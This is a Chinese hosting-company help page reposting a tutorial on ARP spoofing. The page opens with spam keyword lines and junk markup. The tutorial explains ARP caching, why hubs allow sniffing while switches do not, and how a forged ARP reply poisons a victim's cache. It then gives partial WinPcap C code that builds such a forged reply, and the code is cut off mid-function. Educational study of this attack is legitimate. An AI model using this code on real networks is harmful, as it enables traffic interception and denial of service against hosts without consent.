激情五月天婷婷,亚洲愉拍一区二区三区,日韩视频一区,a√天堂中文官网8

<ul id="buwfs"><strike id="buwfs"><strong id="buwfs"></strong></strike></ul>
    <output id="buwfs"></output>
  • <dfn id="buwfs"><source id="buwfs"></source></dfn>
      <dfn id="buwfs"><td id="buwfs"></td></dfn>
      <div id="buwfs"><small id="buwfs"></small></div>
      <dfn id="buwfs"><source id="buwfs"></source></dfn>
      1. <dfn id="buwfs"><td id="buwfs"></td></dfn>
        始創(chuàng)于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業(yè)
        • 60秒人工響應(yīng)
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補(bǔ)償
        全部產(chǎn)品
        您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

        實(shí)例講解如何對目標(biāo)進(jìn)行ARP欺騙

        發(fā)布時(shí)間:  2012/6/17 21:42:10

        以太網(wǎng)內(nèi)的嗅探sniff對于網(wǎng)絡(luò)安全來說并不是什么好事,雖然對于網(wǎng)絡(luò)管理員能夠跟蹤數(shù)據(jù)包并且發(fā)現(xiàn)網(wǎng)絡(luò)問題,但是如果被破壞者利用的話,就對整個(gè)網(wǎng)絡(luò)構(gòu)成嚴(yán)重的安全威脅。
        ARP緩存表假設(shè)這樣一個(gè)網(wǎng)絡(luò): 
         

        E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
        borderColorLight=black border=1> —————————— | HUB | —————————— HostA HostB HostC

        其中:
        A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
        B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
        C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
        假設(shè)B是屬于一個(gè)嗅探愛好者的,比如A機(jī)器的ARP緩存:
        C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
        這是192.168.10.1機(jī)器上的ARP緩存表,假設(shè),A進(jìn)行一次ping 192.168.10.3操作,PING主機(jī)C,會(huì)查詢本地的ARP緩存表,找到C的IP地址的MAC地址,那么就會(huì)進(jìn)行數(shù)據(jù)傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那么A首先要廣播一次ARP請求,當(dāng)C接收到A 的請求后就發(fā)送一個(gè)應(yīng)答,應(yīng)答中包含有C的MAC地址,然后A接收到C的應(yīng)答,就會(huì)更新本地的ARP緩存。接著使用這個(gè)MAC地址發(fā)送數(shù)據(jù)(由網(wǎng)卡附加MAC地址)。因此,本地高速緩存的這個(gè)ARP表是本地網(wǎng)絡(luò)流通的基礎(chǔ),而且這個(gè)緩存是動(dòng)態(tài)的。
        集線器網(wǎng)絡(luò)(Hub-Based)
        很多網(wǎng)絡(luò)都是用Hub進(jìn)行連接的。數(shù)據(jù)包經(jīng)過Hub傳輸?shù)狡渌?jì)算機(jī)的時(shí)候,Hub只是簡單地把這個(gè)數(shù)據(jù)包廣播到Hub的所有端口上。這就是上面舉例中的一種網(wǎng)絡(luò)結(jié)構(gòu)。
        現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那么A將要廣播一個(gè)ARP請求,當(dāng)C接收到這個(gè)請求后,就作出應(yīng)答,然后A更新自己的ARP緩存表。并獲得與C的IP相對應(yīng)的MAC地址。這時(shí)就傳輸這個(gè)TCP數(shù)據(jù)包,Ethernet幀中就包含了C的MAC地址。當(dāng)數(shù)據(jù)包傳輸?shù)紿UB的時(shí)候,HUB直接把整個(gè)數(shù)據(jù)包廣播到所有的端口,然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。
        正因?yàn)镠UB把數(shù)據(jù)廣播到所有的端口,所以計(jì)算機(jī)B也能夠收到A發(fā)送給C的數(shù)據(jù)包。這正是達(dá)到了B嗅探的目的。因此,Hub-Based的網(wǎng)絡(luò)基本沒有安全可言,嗅探在這樣的網(wǎng)絡(luò)中非常容易。
        交換網(wǎng)絡(luò)(Switched Lan)
        交換機(jī)用來代替HUB,正是為了能夠解決HUB的幾個(gè)安全問題,其中就是能夠來解決嗅探問題。Switch不是把數(shù)據(jù)包進(jìn)行端口廣播,它將通過自己的ARP緩存來決定數(shù)據(jù)包傳輸?shù)侥莻(gè)端口上。因此,在交換網(wǎng)絡(luò)上,如果把上面例子中的HUB換為Switch,B就不會(huì)接收到A發(fā)送給C的數(shù)據(jù)包,即便設(shè)置網(wǎng)卡為混雜模式,也不能進(jìn)行嗅探。
        ARP欺騙(ARP spoofing)
        ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應(yīng)答。當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時(shí)候,就會(huì)對本地的ARP緩存進(jìn)行更新,將應(yīng)答中的IP和MAC地址存儲(chǔ)在ARP緩存中。因此,在上面的假設(shè)網(wǎng)絡(luò)中,B向A發(fā)送一個(gè)自己偽造的ARP應(yīng)答,而這個(gè)應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應(yīng)該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當(dāng)A接收到B偽造的ARP應(yīng)答,就會(huì)更新本地的ARP緩存(A可不知道被偽造了)。現(xiàn)在A機(jī)器的ARP緩存更新了:
        C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
        這可不是小事。局域網(wǎng)的網(wǎng)絡(luò)流通可不是根據(jù)IP地址進(jìn)行,而是按照MAC地址進(jìn)行傳輸,F(xiàn)在192.168.10.3的MAC地址在A上被改變成一個(gè)本不存在的MAC地址,F(xiàn)在A開始Ping 192.168.10.3,網(wǎng)卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結(jié)果是什么呢?網(wǎng)絡(luò)不通,A根本不能Ping通C!這就是一個(gè)簡單的ARP欺騙。
        我們來實(shí)現(xiàn)這樣的ARP欺騙。這里需要使用一個(gè)WinPcap提供的API和驅(qū)動(dòng)。(http://winpcap.polito.it/),winpcap是一個(gè)偉大而且開放的項(xiàng)目。Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。

         

        // ARP Sender
        #include "stdafx.h"
        #include "Mac.h" //GetMacAddr(),我寫的把字符串轉(zhuǎn)換為MAC地址的函數(shù),就不列在這里了
        #include 
        #include 
        #define EPT_IP 0x0800 /* type: IP */
        #define EPT_ARP 0x0806 /* type: ARP */
        #define EPT_RARP 0x8035 /* type: RARP */
        #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
        #define ARP_REQUEST 0x0001 /* ARP request */
        #define ARP_REPLY 0x0002 /* ARP reply */
        #define Max_Num_Adapter 10
        #pragma pack(push, 1)
        typedef struct ehhdr 
        {
        unsigned char eh_dst[6]; /* destination ethernet addrress */
        unsigned char eh_src[6]; /* source ethernet addresss */
        unsigned short eh_type; /* ethernet pachet type */
        }EHHDR, *PEHHDR;
        typedef struct arphdr
        {
        unsigned short arp_hrd; /* format of hardware address */
        unsigned short arp_pro; /* format of protocol address */
        unsigned char arp_hln; /* length of hardware address */
        unsigned char arp_pln; /* length of protocol address */
        unsigned short arp_op; /* ARP/RARP operation */
        unsigned char arp_sha[6]; /* sender hardware address */
        unsigned long arp_spa; /* sender protocol address */
        unsigned char arp_tha[6]; /* target hardware address */
        unsigned long arp_tpa; /* target protocol address */
        }ARPHDR, *PARPHDR;
        typedef struct arpPacket
        {
        EHHDR ehhdr;
        ARPHDR arphdr;
        } ARPPACKET, *PARPPACKET;
        #pragma pack(pop)
        int main(int argc, char* argv[])
        {
        static char AdapterList[Max_Num_Adapter][1024]; 
        char szPacketBuf[600];
        char MacAddr[6];
        LPADAPTER lpAdapter;
        LPPACKET lpPacket;
        WCHAR AdapterName[2048];
        WCHAR *temp,*temp1;
        ARPPACKET ARPPacket;
        ULONG AdapterLength = 1024;
        int AdapterNum = 0;
        int nRetCode, i;###NextPage###
        //Get The list of Adapter
        if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
        {
        printf("Unable to retrieve the list of the adapters!\n");
        return 0;
        }
        temp = AdapterName;
        temp1=AdapterName;
        i = 0;
        while ((*temp != \0)||(*(temp-1) != \0))
        {
        if (*temp == \0) 
        {
        memcpy(AdapterList,temp1,(temp-temp1)*2);
        temp1=temp+1;
        i++;
        }
        temp++;
        }
        AdapterNum = i;
        for (i = 0; i < AdapterNum; i++)
        wprintf(L"\n%d- %s\n", i+1, AdapterList);
        printf("\n");
        //Default open the 0
        lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一個(gè)網(wǎng)卡(假設(shè)啦)
        if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
        {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
        return 0;
        }
        lpPacket = PacketAllocatePacket();
        if(lpPacket == NULL)
        {
        printf("\nError:failed to allocate the LPPACKET structure.");
        return 0;
        }
        ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
        if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
        {
        printf ("Get Mac address error!\n");
        }
        memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
        if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
        {
        printf ("Get Mac address error!\n");
        return 0;
        }
        memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
        ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
        ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
        ARPPacket.arphdr.arp_pro = htons(EPT_IP);
        ARPPacket.arphdr.arp_hln = 6;
        ARPPacket.arphdr.arp_pln = 4;
        ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
        if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
        {
        printf ("Get Mac address error!\n");
        return 0;
        }
        memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
        ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
        if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
        {
        

        本文出自:億恩科技【mszdt.com】

        服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

      2. 您可能在找
      3. 億恩北京公司:
      4. 經(jīng)營性ICP/ISP證:京B2-20150015
      5. 億恩鄭州公司:
      6. 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
      7. 億恩南昌公司:
      8. 經(jīng)營性ICP/ISP證:贛B2-20080012
      9. 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
      10. 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
      11. 專注服務(wù)器托管17年
        掃掃關(guān)注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時(shí)客服服務(wù)熱線